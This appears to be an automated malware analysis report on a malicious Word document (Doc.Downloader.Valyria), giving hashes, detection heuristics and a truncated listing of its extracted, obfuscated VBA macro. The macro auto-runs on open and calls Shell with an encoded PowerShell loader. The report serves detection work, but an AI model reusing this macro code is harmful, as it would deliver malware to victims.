Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 22094044fb437c2e…

MALICIOUS

Office (OLE)

113.8 KB Created: 2018-06-11 14:25:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: ccdec19d52acf18ccfc4cdabb75e3d75 SHA-1: 4032d62219561a5b3b20d15ad0280d5f7f90e153 SHA-256: 22094044fb437c2e44cb05672d3afa0b80098256cf8d826ee35a27623d91a776
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is highly indicative of downloading and executing a second-stage payload. The ClamAV detection name 'Doc.Downloader.Valyria-6595163-0' further supports this behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Valyria-6595163-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6595163-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10774 bytes
SHA-256: 621ed4c49aad5ce90c638408c49c8624c36d718fc0bb7e4dad6531a55cc10fcd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ikilJJCtWmNS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function vMrSjSZQSZ()
On Error Resume Next
tfCcf = CLng(25976 * CSng(srdOnu + ChrB(iWzzY + CInt(61633))))
jSzdTl = Int(nzaOGF)
bEICz = TiwKVz
bwOfJ = ZNNFzL
BEuDzh = vCSruZ
iBVmHT = SoivE
jAOwI = CLng(82270 * CSng(fPjtL + ChrB(LdZjXk + CInt(70079))))
uLrTrr = Int(jPMHu)
HvnTi = BSPRb
TIitIK = UfmoX
RwHwzX = QaEilM
jiVftP = YjhqHB
vMrSjSZQSZ = FdRDfzwj + Shell(JjnQHYC + Chr(VTsZrjFki + vbKeyP + FzIDQqD) + "owers" + AfOcWOSfq + rNNYmu + fusaGzF + AwdKK, 36193 - 36193)
aiUGQo = CLng(33882 * CSng(uWPup + ChrB(sDzHv + CInt(42364))))
lJHuHm = Int(PZGsVp)
sjcVYX = ozPwZh
fhjLfS = YNLIBY
UQXZAU = UXmXwB
JrwhFN = rXjpWB
End Function
Sub Autoopen()
On Error Resume Next
VQMWw = CLng(74507 * CSng(jsZZM + ChrB(LKwojR + CInt(81584))))
WPbwL = Int(dtqji)
fwHZA = PiZwW
shYha = IFLEzA
anhqqB = vtzMDW
jBLpXs = DdjvS
vMrSjSZQSZ
aZHbzG = CLng(78955 * CSng(Nhoiwh + ChrB(whLiD + CInt(6992))))
DzObIS = Int(JAuXC)
WlYNw = NTUWGb
FEwUQ = vwVIM
wWEEh = LuSrMJ
hVqJjc = AwMRM
End Sub


Attribute VB_Name = "dIHQAdLqwKJ"
Function AfOcWOSfq()
On Error Resume Next
OafsYB = CLng(38491 * CSng(pFrFjj + ChrB(KdSsEC + CInt(21470))))
pWAWiC = Int(iToTA)
qYkfBT = mZJjwE
uIiEzD = qVXflk
WXRQfE = FiMDi
LQNRX = YQaljV
NXPOHYWT = "He" + "LL -e LgAgACgA" + "IAAkAHMASABlA" + "EwAbAB" + "pAEQAWwAxAF" + "0AKwAkAFM" + "ASABlAEwAb"
QACMAQ = CLng(66982 * CSng(PCsSS + ChrB(IpaVA + CInt(28355))))
RZIGHG = Int(Owlhv)
nTCVMn = IvNUwF
QbzPjG = watGt
XzTQK = jMpmF
NObWM = ICcvnw
urrGwfLCalh = "ABpAEQAWwAxA" + "DMAXQ" + "ArACcAWAA" + "nACkA"
woWpt = CLng(16535 * CSng(SicLc + ChrB(KaWRao + CInt(89625))))
VslcO = Int(wrjbJ)
tLjNW = iqrjmQ
OdhfKU = CRdwkN
CQbzAB = DwrJu
KEOmFV = zcQLVH
WkZHzJOZwi = "IA" + "AoACAATgBlAF" + "cALQBvA" + "GIASgBFAEMAVAA" + "gA" + "FM" + "AeQBzAFQA"
Tcinc = CLng(18161 * CSng(bZPll + ChrB(nKiqW + CInt(30848))))
nzCrqP = Int(fZAQct)
mbQDjl = jfzAU
uowao = SXVZr
NikBZz = sYBjO
qiaESD = VIlqbZ
KqYRwpQ = "ZQBtAC4AaQBPAC" + "4AQwBvAE0Ac" + "ABSAGUAUwBT" + "AGkATw" + "BOAC4AZABlAEYA" + "TABhAFQA"
WbTQBY = CLng(13149 * CSng(HihFz + ChrB(chsEjn + CInt(96061))))
sSDWAb = Int(ttazX)
QEkiqf = XvXND
taslr = dvjBNf
fNOkH = cDLdH
tHZDw = pSAhiA
LjKOZcpf = "ZQB" + "TAFQ" + "AcgBFAEEATQAo" + "AFsAcwBZAF" + "MAVABFAG0ALgBpA" + "E8ALgBt" + "AEUA" + "TQBPAFI"
iMtrh = CLng(7131 * CSng(DSAKI + ChrB(PGbzi + CInt(95850))))
PwfErm = Int(XMXwj)
cZtjL = ZkSbHO
lfjrCz = Qsjhpz
zzquBb = iqNslE
zwWYp = BZoVUz
knzLFjiV = "AWQBTA" + "HQA" + "cgBlAEEATQB" + "dAC" + "AAWwBDAG8Ab" + "gBWAGUAcgBUAF" + "0AOgA6AGYAUgBv" + "AG0" + "AQ" + "gBhAFMAZQA"
zkpMt = CLng(23735 * CSng(blcjFm + ChrB(CpWzRv + CInt(15072))))
vMJAC = Int(YKVaCZ)
zAAwZV = OUqSCz
kSWDEu = ocDtJq
aGGDN = EpVAs
KCbWq = EtnszW
SOAMBUjnE = "2ADQAcwB0A" + "HI" + "AaQBOA" + "EcAKAA" + "nAFYAWgBEAG" + "gAVAA5AHMA" + "dwBFAE0AWAAvAE" + "YAWAArAEkAbABGA" + "GEAagB0AGk" + "AYQB"
AfOcWOSfq = NXPOHYWT + urrGwfLCalh + WkZHzJOZwi + KqYRwpQ + LjKOZcpf + knzLFjiV + SOAMBUjnE
End Function
Function rNNYmu()
On Error Resume Next
iRJYzE = CLng(29281 * CSng(toOjPo + ChrB(uvwVLi + CInt(69665))))
NFMvFw = Int(hGjEj)
vRYvcv = ONnbI
zsviL = umvSl
KhiGH = KFKwiY
iiTQA = lnvzW
bjsZCbGtJiM = "OAGoAUgBGAE" + "4AUQBoAHUAMABGA" + "GQAQgBRAEsAVw" + "B5AGcAYQBkA" + "Eo" + "AMABjAF" + "kANw" + "BFAEkAZgB" + "GAGwAegByAF" + "UATwBWAFAAMwBmA"
cYkpwA = CLng(98120 * CSng(mSNmIF + ChrB(QDwAOW + CInt(9672))))
laWuzz = Int(OkHTi)
aPMwfm = PVhIuf
jwzIP = vwObF
mQDdio = MpnmBj
SNQtOz = flSmz
QvNNbVwG = "FoAMgBnAEIAOA" + "BjAFcAUwAvAGQA" + "NwB6AD" + "MAZgB0AEYAdAA" + "zADcAcQA4AD" + "EALwBpAG0AN" + "wBEAG8ASgA1" + "AFQAWABxAEYA"
GfbBk = CLng(86173 * CSng(zVLrCT + ChrB(SiwJv + CInt(47363))))
FiiVNF = Int(Hilqik)
jOmCJ = lwBYr
jAApIr = ZBzsfW
zrqaBX = wmQKHm
tIjKi = ZfHpd

... (truncated)